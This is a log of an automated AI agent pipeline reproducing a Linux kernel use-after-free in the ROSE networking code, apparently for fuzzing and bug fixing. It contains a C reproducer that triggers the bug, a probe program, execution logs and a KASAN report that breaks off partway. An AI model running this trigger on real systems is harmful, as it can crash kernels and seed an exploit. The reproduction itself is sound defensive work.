1. Create an AX.25 device (`ax0`) using the `mkiss` line discipline and bring it up.
2. Bring up the default ROSE device (`rose0`) and assign it a hardware address.
3. Set `/proc/sys/net/rose/clear_request_timeout` to `1000` (1 second) and `restart_request_timeout` to `2000` (2 seconds).
4. Create a ROSE socket and `bind()` it to the `rose0` address.
5. Add a ROSE route pointing to `ax0`.
6. Call `connect()` on the socket in non-blocking mode (`O_NONBLOCK`).
7. Immediately delete the route.
8. `close()` the socket.
9. Wait for 3 seconds. The `t3timer` will free the neighbour after 1 second, and the `t0timer` will trigger the UAF after 2 seconds.

### Minimal C Reproducer
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer expires before t0timer
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 1000);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 2000);

    // 5. Create ROSE socket
    int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);

    // 6. Bind to rose0 address
    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;
    bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 7. Add ROSE route
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);

    // 8. Connect to the route (non-blocking)
    fcntl(rsock, F_SETFL, O_NONBLOCK);
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 2;
    saddr.srose_ndigis = 0;
    connect(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 9. Delete the route (stops t0timer, drops routing refcount)
    ioctl(rsock, SIOCDELRT, &route);

    // 10. Close the socket (restarts t0timer, starts t3timer)
    close(rsock);

    // 11. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(3);

    return 0;
}
```
NeedProbe: true

97/4 2026/05/26 11:39 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12698
							output: 391
							thoughts: 258
						

Thoughts:
**Reproducing the KASAN Slab-Use-After-Free in `rose_send_frame`**

Okay, let's get down to brass tacks. We've got a detailed bug report and a suggested strategy for a KASAN slab-use-after-free within `rose_send_frame`. My expertise tells me this is likely due to a race condition or some subtle memory management issue within the ROSE networking code, and a minimal reproducer is absolutely key to nailing this down. The user's proposed strategy is a good starting point, we'll need to work step-by-step to be sure.

The steps involve setting up a very specific network topology involving AX.25 and ROSE. We're going to:

1.  Create an AX.25 device (`ax0`) using `mkiss`.
2.  Bring up the default ROSE device (`rose0`) with a hardware address.
3.  Tweak the system configuration with the `clear_request_timeout` and `restart_request_timeout` sysctls to manage timeouts.
4.  Construct a ROSE socket and bind it.
5.  Add a ROSE route, which is where things usually start getting interesting in the ROSE networking world.
6.  Connect to that route in a non-blocking manner.
7.  Delete that route.
8.  Close the socket to clean everything up.
9.  Then we patiently wait for any timers to expire. We'll need to carefully watch the kernel output here for any hints.

Before we even start writing the reproducer, we have to ensure the environment actually *supports* the necessary components. I'm thinking, "Let's start with a probe program." It needs to verify that AX.25 and ROSE are both present and working, or we're just wasting our time. I'll need to:

*   Attempt to open `/dev/ptmx` and set the line discipline to `N_AX25` (5) using `TIOCSETD`. That's a good first check for AX.25 support.
*   Then, I'll try to create a socket of type `AF_ROSE`. If both of these succeed, it's safe to say we can start building the reproducer with confidence.

So, let's start coding that probe, shall we?



98/4 2026/05/26 11:39 tool set-results
0m Args:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

99/3 2026/05/26 11:39 loop
0m
100/4 2026/05/26 11:39 iteration 0
0m
101/5 2026/05/26 11:39 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

102/5 2026/05/26 11:39 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

103/5 2026/05/26 11:39 action If
0m Args:
map[CompilerError:]

104/3 2026/05/26 11:39 action run-c-repro
5m Results:
map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[  120.102615][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  120.102631][   T33] audit: type=1400 audit(1779795707.670:106): avc:  denied  { create } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.122596][   T33] audit: type=1400 audit(1779795707.670:107): avc:  denied  { write open } for  pid=6027 comm="dhcpcd-run-hook" path="/run/dhcpcd/hook-state/resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.142598][   T33] audit: type=1400 audit(1779795707.670:108): avc:  denied  { append } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.163130][   T33] audit: type=1400 audit(1779795707.680:109): avc:  denied  { getattr } for  pid=6027 comm="dhcpcd-run-hook" path="/tmp/resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.181508][   T33] audit: type=1400 audit(1779795707.740:110): avc:  denied  { read } for  pid=6029 comm="cmp" name="resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.252733][   T33] audit: type=1400 audit(1779795707.820:111): avc:  denied  { unlink } for  pid=6030 comm="rm" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
Warning: Permanently added '[localhost]:34860' (ED25519) to the list of known hosts.
[  126.193788][ T6090] mkiss: ax0: crc mode is auto.
[  126.200830][   T33] audit: type=1400 audit(1779795713.770:112): avc:  denied  { create } for  pid=6090 comm="syz-executor110" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1866481479

<...>
Warning: Permanently added '[localhost]:65212' (ED25519) to the list of known hosts.
execve("/syz-executor1866481479", ["/syz-executor1866481479"], 0x7ffe9c667560 /* 11 vars */) = 0
brk(NULL)                               = 0x555569472000
brk(0x555569472d80)                     = 0x555569472d80
arch_prctl(ARCH_SET_FS, 0x555569472400) = 0
set_tid_address(0x5555694726d0)         = 6106
set_robust_list(0x5555694726e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1866481479", 4096) = 23
getrandom("\x02\x39\xc7\x34\xbb\xc1\xd2\x7e", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555569472d80
brk(0x555569493d80)                     = 0x555569493d80
brk(0x555569494000)                     = 0x555569494000
mprotect(0x7f93ff7e4000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  130.003267][ T6106] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  130.025939][   T33] audit: type=1400 audit(1779795873.843:106): avc:  denied  { create } for  pid=6106 comm="syz-executor186" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  130.041302][   T33] audit: type=1400 audit(1779795873.853:107): avc:  denied  { read } for  pid=5545 comm="dhcpcd" name="n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
write(1, "[*] Starting probe...\n[+] Opened /dev/ptmx.\n[+] Set TIOCSETD to N_AX25.\n[+] Created AF_ROSE socket.\n"..., 122) = 122
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
[  130.054411][   T33] audit: type=1400 audit(1779795873.853:108): avc:  denied  { open } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
exit_group(0)                           = ?
[  130.070818][   T33] audit: type=1400 audit(1779795873.853:109): avc:  denied  { getattr } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
+++ exited with 0 +++
[  139.238486][ T1364] ieee802154 phy0 wpan0: encryption failed: -22
[  139.242649][ T1364] ieee802154 phy1 wpan1: encryption failed: -22
 TestError:]

105/3 2026/05/26 11:44 action truncate-log
0m Results:
map[TruncatedConsoleOutput:[  120.102615][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  120.102631][   T33] audit: type=1400 audit(1779795707.670:106): avc:  denied  { create } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.122596][   T33] audit: type=1400 audit(1779795707.670:107): avc:  denied  { write open } for  pid=6027 comm="dhcpcd-run-hook" path="/run/dhcpcd/hook-state/resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.142598][   T33] audit: type=1400 audit(1779795707.670:108): avc:  denied  { append } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.163130][   T33] audit: type=1400 audit(1779795707.680:109): avc:  denied  { getattr } for  pid=6027 comm="dhcpcd-run-hook" path="/tmp/resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.181508][   T33] audit: type=1400 audit(1779795707.740:110): avc:  denied  { read } for  pid=6029 comm="cmp" name="resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.252733][   T33] audit: type=1400 audit(1779795707.820:111): avc:  denied  { unlink } for  pid=6030 comm="rm" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
Warning: Permanently added '[localhost]:34860' (ED25519) to the list of known hosts.
[  126.193788][ T6090] mkiss: ax0: crc mode is auto.
[  126.200830][   T33] audit: type=1400 audit(1779795713.770:112): avc:  denied  { create } for  pid=6090 comm="syz-executor110" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1866481479

<...>
Warning: Permanently added '[localhost]:65212' (ED25519) to the list of known hosts.
execve("/syz-executor1866481479", ["/syz-executor1866481479"], 0x7ffe9c667560 /* 11 vars */) = 0
brk(NULL)                               = 0x555569472000
brk(0x555569472d80)                     = 0x555569472d80
arch_prctl(ARCH_SET_FS, 0x555569472400) = 0
set_tid_address(0x5555694726d0)         = 6106
set_robust_list(0x5555694726e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1866481479", 4096) = 23
getrandom("\x02\x39\xc7\x34\xbb\xc1\xd2\x7e", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555569472d80
brk(0x555569493d80)                     = 0x555569493d80
brk(0x555569494000)                     = 0x555569494000
mprotect(0x7f93ff7e4000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  130.003267][ T6106] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  130.025939][   T33] audit: type=1400 audit(1779795873.843:106): avc:  denied  { create } for  pid=6106 comm="syz-executor186" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  130.041302][   T33] audit: type=1400 audit(1779795873.853:107): avc:  denied  { read } for  pid=5545 comm="dhcpcd" name="n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
write(1, "[*] Starting probe...\n[+] Opened /dev/ptmx.\n[+] Set TIOCSETD to N_AX25.\n[+] Created AF_ROSE socket.\n"..., 122) = 122
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
[  130.054411][   T33] audit: type=1400 audit(1779795873.853:108): avc:  denied  { open } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
exit_group(0)                           = ?
[  130.070818][   T33] audit: type=1400 audit(1779795873.853:109): avc:  denied  { getattr } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
+++ exited with 0 +++
[  139.238486][ T1364] ieee802154 phy0 wpan0: encryption failed: -22
[  139.242649][ T1364] ieee802154 phy1 wpan1: encryption failed: -22
]

106/3 2026/05/26 11:44 agent repro-oracle
0m Model:
gemini-3.1-pro-preview

Results:
map[Feedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame. TitleMatches:false]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.

Critical Diagnostic Rule:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.

The input variable 'IsProbe' indicates whether the executed program was a simple environment
probe (true) or a full reproducer candidate (false).
Use this to guide your classification and feedback:

1. If 'IsProbe' is true:
   - If the execution was successful (all environment/subsystem probes passed), provide feedback
     explicitly indicating that the environment is ready and the agent should now proceed to
     generate the full reproducer in the next iteration.
   - If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
     explain what failed so the generator can adjust its environment setups.

2. If 'IsProbe' is false:
   - If a crash was triggered (Reproduced is true):
     - Determine if the triggered crash matches the expected bug.
     - If you conclude they represent the same underlying bug (the same root cause)
       despite different titles, crash signatures, or call traces, set TitleMatches
       to true and provide a detailed, technical, and verbose explanation of the
       equivalence in the 'Feedback' field.
     - If they do not represent the same bug (a completely unrelated crash/collision),
        set TitleMatches to false and explain the collision in 'Feedback'.
     - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
   - If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
     - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
       to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
       and provide feedback on how to improve the reproducer logic to trigger the crash.

If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
